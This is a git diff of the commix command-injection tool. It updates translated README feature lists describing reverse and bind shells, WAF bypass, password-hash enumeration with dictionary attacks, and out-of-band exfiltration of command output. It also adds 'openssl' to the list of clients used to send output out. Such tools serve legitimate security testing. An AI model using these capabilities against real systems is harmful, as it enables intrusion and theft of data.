boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور) و file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن). با `--technique` انتخاب می‌شوند، یا بر پایه نوعی که با `--type` گزارش می‌کنند. به‌علاوه یک کانال out-of-band (OAST) روی HTTP/S و DNS، که با سوئیچ مستقل `--oob` فعال می‌شود، نه با `--technique`. -* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript یا PowerShell و با همان چهار تکنیک (و کانال out-of-band) آزمایش می‌کند. -* **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. -* **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. -* **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. -* **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، توصیف OpenAPI (Swagger)، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. -* **پویش‌های قابل ازسرگیری و خروجی ماشین‌خوان** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به‌صورت JSON، به‌صورت یک CSV دربرگیرندهٔ همهٔ هدف‌های آزموده‌شده، یا به‌صورت یک گزارش HAR از ترافیک HTTP اجرا خروجی گرفت. گزینه‌هایی که یک اجرا با آن‌ها انجام شده است را می‌توان به‌عنوان نمایه ذخیره و دوباره استفاده کرد. -* **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI، و روی هدف‌های شبه‌یونیکس و ویندوز کار می‌کند - برای تفاوت بارها +* **چهار تکنیک تزریق** - results-based، boolean-based، time-based و file-based، که با `--technique` یا بر پایه نوعی که با `--type` گزارش می‌کنند انتخاب می‌شوند - برای اینکه هر کدام چه چیزی از هدف می‌خواهد [techniques](https://github.com/commixproject/commix/wiki/Techniques) را ببینید. +* **out-of-band، وقتی هیچ چیز بازنمی‌گردد** - سوئیچ `--oob` اجرا را اثبات می‌کند و خروجی فرمان را روی HTTP/S یا DNS بازمی‌گرداند، و از راه هر کلاینتی که هدف داشته باشد به سرور می‌رسد - برای اینکه کدام‌ها را می‌آزماید و چگونه یکی را تثبیت کنید [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) را ببینید. +* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript یا PowerShell و با همان تکنیک‌ها آزمایش می‌کند. +* **هر جا که ورودی فرود آید** - پارامترهای GET/POST، [سرآیندهای HTTP و کوکی‌ها](https://github.com/commixproject/commix/wiki/Usage#request-options)، بدنه‌های JSON/XML/GraphQL، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. +* **از اثبات تا پوسته** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells)، حالت‌های داخلی `reverse_tcp` و `bind_tcp` با ارتقا به یک PTY کامل، انتقال فایل، خواندن و نوشتن رجیستری ویندوز، و شمارش تا درهم‌سازی گذرواژه‌ها، با پیشنهاد حمله دیکشنری علیه آن‌ها. +* **دور زدن فیلترها و WAF** - اسکریپت‌های tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند - [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples) را ببینید. +* **هدف در هر شکلی** - یک URL، پویش سایت، فرم‌های HTML، sitemap، توصیف OpenAPI (Swagger)، گزارش پروکسی، فایل چندهدفی، درخواست خام HTTP یا ورودی `stdin` - [target options](https://github.com/commixproject/commix/wiki/Usage#target-options) را ببینید. +* **قابل ازسرگیری و اسکریپت‌پذیر** - [فایل‌های نشست به تفکیک هدف](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data)، خروجی JSON/CSV/HAR، نمایه‌های گزینه قابل استفاده مجدد، و `--proof` که هر یافته را با آزمایشی از آنِ خود دوباره اثبات می‌کند. +* **شبه‌یونیکس و ویندوز** - بک‌اندهای PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI - برای تفاوت بارها [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) را ببینید. @@ -73,7 +74,9 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] -> شناسایی خارج از باند (OAST) با `--oob` به‌صورت پیش‌فرض از سرور عمومی interactsh با نشانی +> کلاینت بر پایه آنچه هدف دارد انتخاب می‌شود، بنابراین ماشینی که کلاینت‌های HTTP معمول را ندارد هم +> در دسترس می‌ماند - هنگامی که مسیر خروجی آن از پیش معلوم است، با `--oob-transport` یکی را تثبیت +> کنید. شناسایی خارج از باند (OAST) با `--oob` به‌صورت پیش‌فرض از سرور عمومی interactsh با نشانی > `oast.fun` استفاده می‌کند، بنابراین فراداده تعامل‌های مربوط به هدف شما از شبکه‌تان خارج می‌شود. > برای آنکه این داده‌ها درون‌سازمانی بماند، `--oob-server` را به نمونه‌ای که خودتان میزبانی می‌کنید > اشاره دهید. برای راهنمای کامل، صفحه diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 0ccc11ec46..7156923fab 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -34,14 +34,15 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités -* **Quatre techniques d'injection** - results-based (classic), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle) et file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte). Choisies avec `--technique`, ou selon le type sous lequel elles sont rapportées avec `--type`. Plus un canal out-of-band (OAST) via HTTP/S et DNS, activé par son propre commutateur `--oob` plutôt que par une `--technique`. -* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript ou PowerShell, avec les quatre mêmes techniques (et le canal out-of-band). -* **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. -* **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. -* **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. -* **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, une description OpenAPI (Swagger), un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. -* **Analyses reprenables et sortie exploitable par machine** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON, sous forme de CSV couvrant toutes les cibles testées, ou sous forme de journal HAR du trafic HTTP de l'analyse. Les options fournies à une analyse peuvent être enregistrées comme profil et réutilisées. -* **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI, et fonctionne aussi bien contre des cibles de type Unix que Windows - voir +* **Quatre techniques d'injection** - results-based, boolean-based, time-based et file-based, choisies avec `--technique` ou selon le type sous lequel elles sont rapportées avec `--type` - voir [techniques](https://github.com/commixproject/commix/wiki/Techniques) pour ce que chacune exige d'une cible. +* **Out-of-band, quand rien ne revient** - `--oob` prouve l'exécution et rapporte la sortie de la commande via HTTP/S ou DNS, en atteignant le serveur par le client dont la cible dispose - voir [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) pour ceux qu'il essaie et comment en fixer un. +* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript ou PowerShell, avec ces mêmes techniques. +* **Partout où l'entrée aboutit** - paramètres GET/POST, [en-têtes HTTP et cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), corps JSON/XML/GraphQL, ainsi que le module `shellshock` pour les cibles CGI. +* **De la preuve au shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), les modes intégrés `reverse_tcp` et `bind_tcp` promouvables en PTY complet, le transfert de fichiers, la lecture et l'écriture du registre Windows, et l'énumération jusqu'aux empreintes de mots de passe, avec une attaque par dictionnaire proposée contre elles. +* **Contournement des filtres et des WAF** - scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe - voir [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Des cibles sous toutes les formes** - une URL, une exploration du site, des formulaires HTML, un sitemap, une description OpenAPI (Swagger), un journal de proxy, un fichier de cibles multiples, une requête HTTP brute ou une entrée `stdin` - voir [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Reprenable et scriptable** - [fichiers de session par cible](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), sortie JSON/CSV/HAR, profils d'options réutilisables et `--proof`, qui prouve à nouveau chaque découverte par une expérience qui lui est propre. +* **Type Unix et Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI - voir [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) pour la façon dont les charges utiles diffèrent. @@ -81,8 +82,10 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.ph ``` > [!NOTE] -> La détection hors bande (OAST) avec `--oob` utilise par défaut le serveur interactsh public -> `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau. +> Le client est choisi selon ce dont la cible dispose : une machine dépourvue des clients HTTP +> habituels reste donc à portée - fixez-en un avec `--oob-transport` lorsque sa sortie réseau est +> déjà connue. La détection hors bande (OAST) avec `--oob` utilise par défaut le serveur interactsh +> public `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau. > Pointez `--oob-server` vers une instance auto-hébergée pour les garder en interne. Pour un guide > détaillé, consultez la page > [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) du wiki. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index e9f7b09252..b587dbd12d 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -33,14 +33,15 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά -* **Τέσσερις τεχνικές injection** – results-based (classic), boolean-based (blind, με την απάντηση να διαβάζεται από τη σελίδα), time-based (blind) και file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής). Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. Επιπλέον, ένα κανάλι out-of-band (OAST) μέσω HTTP/S και DNS, που ενεργοποιείται με το δικό του διακόπτη `--oob` αντί για `--technique`. -* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript ή PowerShell, χρησιμοποιώντας τις ίδιες τέσσερις τεχνικές (και το κανάλι out-of-band). -* **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. -* **Interactive shells και post-exploitation** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, `download`/`upload` αρχείων μέσω του established shell, καθώς και enumeration για current user, hostname, privileges, system information, users και password hashes. Κάθε εύρημα μπορεί να επαληθευτεί εκ νέου με το `--proof`, το οποίο εκτελεί δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. -* **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. -* **Ευέλικτο targeting** – υποστήριξη για single URL, crawl, HTML forms, sitemap, OpenAPI (Swagger) description, proxy log, bulk file, raw HTTP request file ή δεδομένα μέσω piped `stdin`. -* **Resumable scans και machine-readable output** – τα αποτελέσματα αποθηκεύονται ανά target σε session file και μπορούν να εξαχθούν σε JSON, CSV που περιλαμβάνει όλα τα tested targets ή HAR log με το HTTP traffic του run. Οι επιλογές ενός run μπορούν επίσης να αποθηκευτούν ως profile και να επαναχρησιμοποιηθούν. -* **Ευρεία υποστήριξη back-ends** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI, με υποστήριξη τόσο για Unix-like όσο και για Windows targets. Δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads. +* **Τέσσερις τεχνικές injection** – results-based, boolean-based, time-based και file-based, που επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type` – δείτε τις [techniques](https://github.com/commixproject/commix/wiki/Techniques) για το τι απαιτεί η καθεμία από ένα target. +* **Out-of-band, όταν δεν επιστρέφει τίποτα** – το `--oob` αποδεικνύει την εκτέλεση και μεταφέρει το output της εντολής μέσω HTTP/S ή DNS, φτάνοντας στον server μέσω όποιου client τυχαίνει να διαθέτει το target – δείτε [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) για το ποιους δοκιμάζει και πώς να ορίσετε έναν. +* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript ή PowerShell, με τις ίδιες τεχνικές. +* **Όπου κι αν καταλήγει το input** – GET/POST parameters, [HTTP headers και cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, καθώς και το `shellshock` module για CGI targets. +* **Από την απόδειξη στο shell** – [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), ενσωματωμένα `reverse_tcp` και `bind_tcp` με αναβάθμιση σε πλήρες PTY, μεταφορά αρχείων, read/write στο Windows registry και enumeration μέχρι τα password hashes, με dictionary attack να προσφέρεται εναντίον τους. +* **Filter και WAF evasion** – συνδυάσιμα tamper scripts, που εφαρμόζονται με deterministic σειρά – δείτε [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Targets σε κάθε μορφή** – URL, crawl, HTML forms, sitemap, OpenAPI (Swagger) description, proxy log, bulk file, raw HTTP request ή piped `stdin` – δείτε [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Resumable και scriptable** – [session files ανά target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), output σε JSON/CSV/HAR, επαναχρησιμοποιήσιμα profiles επιλογών και το `--proof`, που επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα. +* **Unix-like και Windows** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI back ends – δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads. ## Εγκατάσταση @@ -72,10 +73,12 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] -> Η ανίχνευση εκτός ζώνης (OAST) με την επιλογή `--oob` χρησιμοποιεί από προεπιλογή τον δημόσιο -> διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των αλληλεπιδράσεων με τον στόχο σας φεύγουν -> από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική σας εγκατάσταση, ώστε να παραμείνουν -> εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα +> Ο client επιλέγεται βάσει του τι διαθέτει ο στόχος, οπότε ένα μηχάνημα χωρίς τους συνηθισμένους +> HTTP clients παραμένει προσβάσιμο – ορίστε έναν με την `--oob-transport` όταν η εξερχόμενη +> κίνησή του είναι ήδη γνωστή. Η ανίχνευση εκτός ζώνης (OAST) με την επιλογή `--oob` χρησιμοποιεί +> από προεπιλογή τον δημόσιο διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των +> αλληλεπιδράσεων με τον στόχο σας φεύγουν από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική +> σας εγκατάσταση, ώστε να παραμείνουν εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα > [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) στο wiki. Σάρωση λίστας στόχων χωρίς επίβλεψη και εγγραφή των αποτελεσμάτων σε αρχείο : diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 0c8786db5d..122ed40fa6 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -34,14 +34,15 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur -* **Empat teknik injeksi** - results-based (classic), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta) dan file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya). Dipilih dengan `--technique`, atau berdasarkan tipe yang mereka laporkan dengan `--type`. Ditambah saluran out-of-band (OAST) melalui HTTP/S dan DNS, diaktifkan dengan switch `--oob` miliknya sendiri, bukan `--technique`. -* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, atau PowerShell, dengan empat teknik yang sama (dan saluran out-of-band). -* **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. -* **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. -* **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. -* **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, deskripsi OpenAPI (Swagger), log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. -* **Pemindaian yang dapat dilanjutkan dan keluaran terbaca mesin** - hasil disimpan per target dalam berkas sesi dan dapat diekspor sebagai JSON, sebagai CSV yang mencakup setiap target yang diuji, atau sebagai catatan HAR dari lalu lintas HTTP pemindaian. Opsi yang digunakan sebuah pemindaian dapat disimpan sebagai profil dan digunakan kembali. -* **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI, serta bekerja terhadap target Unix maupun Windows - lihat +* **Empat teknik injeksi** - results-based, boolean-based, time-based dan file-based, dipilih dengan `--technique` atau berdasarkan tipe yang mereka laporkan dengan `--type` - lihat [techniques](https://github.com/commixproject/commix/wiki/Techniques) untuk apa yang dituntut masing-masing dari sebuah target. +* **Out-of-band, ketika tidak ada yang kembali** - `--oob` membuktikan eksekusi dan membawa keluaran perintah melalui HTTP/S atau DNS, mencapai server lewat klien apa pun yang kebetulan dimiliki target - lihat [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) untuk klien yang dicoba dan cara menetapkan salah satunya. +* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, atau PowerShell, dengan teknik yang sama. +* **Di mana pun masukan mendarat** - parameter GET/POST, [header HTTP dan cookie](https://github.com/commixproject/commix/wiki/Usage#request-options), body JSON/XML/GraphQL, serta modul `shellshock` untuk target CGI. +* **Dari bukti ke shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), mode bawaan `reverse_tcp` dan `bind_tcp` yang dapat ditingkatkan menjadi PTY penuh, transfer berkas, baca/tulis registry Windows, dan enumerasi hingga hash kata sandi, dengan serangan kamus yang ditawarkan terhadapnya. +* **Pengelakan filter dan WAF** - skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik - lihat [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Target dalam bentuk apa pun** - satu URL, penelusuran situs, formulir HTML, sitemap, deskripsi OpenAPI (Swagger), log proxy, berkas berisi banyak target, permintaan HTTP mentah, atau masukan `stdin` - lihat [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Dapat dilanjutkan dan diskripkan** - [berkas sesi per target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), keluaran JSON/CSV/HAR, profil opsi yang dapat digunakan kembali, dan `--proof`, yang membuktikan kembali setiap temuan dengan percobaannya sendiri. +* **Unix maupun Windows** - back-end PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI - lihat [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) untuk perbedaan muatannya. @@ -74,8 +75,10 @@ Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] -> Deteksi out-of-band (OAST) dengan `--oob` secara bawaan menggunakan server interactsh publik -> `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan +> Klien dipilih berdasarkan apa yang dimiliki target, sehingga mesin tanpa klien HTTP yang biasa pun +> tetap terjangkau - tetapkan salah satu dengan `--oob-transport` bila jalur keluarnya sudah +> diketahui. Deteksi out-of-band (OAST) dengan `--oob` secara bawaan menggunakan server interactsh +> publik `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan > `--oob-server` ke instansi milik sendiri agar tetap berada di jaringan internal. Untuk panduan > lengkap, lihat halaman > [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) di wiki. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index d8b59fc4a0..bc62f4c317 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -34,14 +34,15 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler -* **Dört enjeksiyon tekniği** - results-based (classic), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör) ve file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte). `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir. Ayrıca, bir `--technique` değil kendi `--oob` anahtarıyla açılan, HTTP/S ile DNS üzerinden out-of-band (OAST) kanalı. -* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP, Python, Ruby, JavaScript veya PowerShell olarak, aynı dört teknikle (ve out-of-band kanalıyla) sınar. -* **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. -* **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. -* **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. -* **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, bir OpenAPI (Swagger) tanımı, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. -* **Kaldığı yerden devam eden taramalar ve makine tarafından okunabilir çıktı** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak, test edilen her hedefi kapsayan bir CSV olarak veya taramanın HTTP trafiğinin HAR kaydı olarak dışa aktarılabilir. Bir taramanın çalıştırıldığı seçenekler profil olarak kaydedilip yeniden kullanılabilir. -* **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI; hem Unix benzeri hem de Windows hedeflerine karşı çalışır - yüklerin nasıl farklılaştığı için bkz. +* **Dört enjeksiyon tekniği** - results-based, boolean-based, time-based ve file-based; `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir - her birinin hedeften ne istediği için bkz. [techniques](https://github.com/commixproject/commix/wiki/Techniques). +* **Hiçbir şey geri dönmediğinde out-of-band** - `--oob` yürütmeyi kanıtlar ve komutun çıktısını HTTP/S ya da DNS üzerinden geri taşır; sunucuya hedefte hangi istemci varsa onunla ulaşır - hangilerini denediği ve nasıl sabitleneceği için bkz. [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client). +* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript veya PowerShell olarak, aynı tekniklerle sınar. +* **Girdi nereye düşerse** - GET/POST parametreleri, [HTTP başlıkları ve çerezler](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. +* **Kanıttan kabuğa** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), tam PTY'ye yükseltilebilen yerleşik `reverse_tcp` ve `bind_tcp`, dosya aktarımı, Windows kayıt defteri okuma/yazma ve parola özetlerine kadar numaralandırma; bunlara karşı bir sözlük saldırısı da önerilir. +* **Filtre ve WAF atlatma** - birlikte kullanılabilen tamper betikleri, belirlenimci bir sırayla uygulanır - bkz. [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Her biçimde hedef** - bir URL, site taraması, HTML formları, sitemap, bir OpenAPI (Swagger) tanımı, proxy günlüğü, çoklu hedef dosyası, ham HTTP isteği veya `stdin` girdisi - bkz. [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Devam ettirilebilir ve betiklenebilir** - [hedef bazında oturum dosyaları](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR çıktısı, yeniden kullanılabilir seçenek profilleri ve her bulguyu kendi deneyiyle yeniden kanıtlayan `--proof`. +* **Unix benzeri ve Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI arka uçları - yüklerin nasıl farklılaştığı için bkz. [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance). ## Kurulum @@ -74,8 +75,11 @@ Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] -> `--oob` ile yapılan bant dışı (OAST) tespit, varsayılan olarak herkese açık `oast.fun` interactsh -> sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın dışına çıkar. +> İstemci, hedefte ne varsa ona göre seçilir; bu yüzden alışılmış HTTP istemcilerinden yoksun bir +> makine de erişilebilir kalır - çıkış trafiği zaten biliniyorsa `--oob-transport` ile birini +> sabitleyin. `--oob` ile yapılan bant dışı (OAST) tespit, varsayılan olarak herkese açık `oast.fun` +> interactsh sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın +> dışına çıkar. > Bunları kurum içinde tutmak için `--oob-server` seçeneğini kendi sunucunuza yönlendirin. Ayrıntılı > rehber için wiki'deki > [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) sayfasına bakın. diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 94655e37d7..d5c195a759 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -36,12 +36,12 @@ """ The HTTP clients used to reach the out-of-band server, most common first. """ -UNIX_TRANSPORTS = ["curl", "wget", "python", "dns", "php", "ruby"] +UNIX_TRANSPORTS = ["curl", "wget", "python", "dns", "php", "ruby", "openssl"] # Clients worth asking for, but not on every boundary of the sweep: each one there costs a request # per boundary, and a target either has a client or it does not - which is not a thing a boundary # changes. They are asked once a boundary is confirmed, where a target without the common ones still # needs something that carries output back whole rather than a name at a time. -FALLBACK_TRANSPORTS = ("php", "ruby") +FALLBACK_TRANSPORTS = ("php", "ruby", "openssl") # 'curl.exe' leads on Windows, where it has shipped in System32 since Windows 10 1803: unlike a # name lookup it carries command output back, and it is quick to give up where a host has no way # out. A lookup follows, present on every Windows and the one confirmed against a real target. @@ -114,6 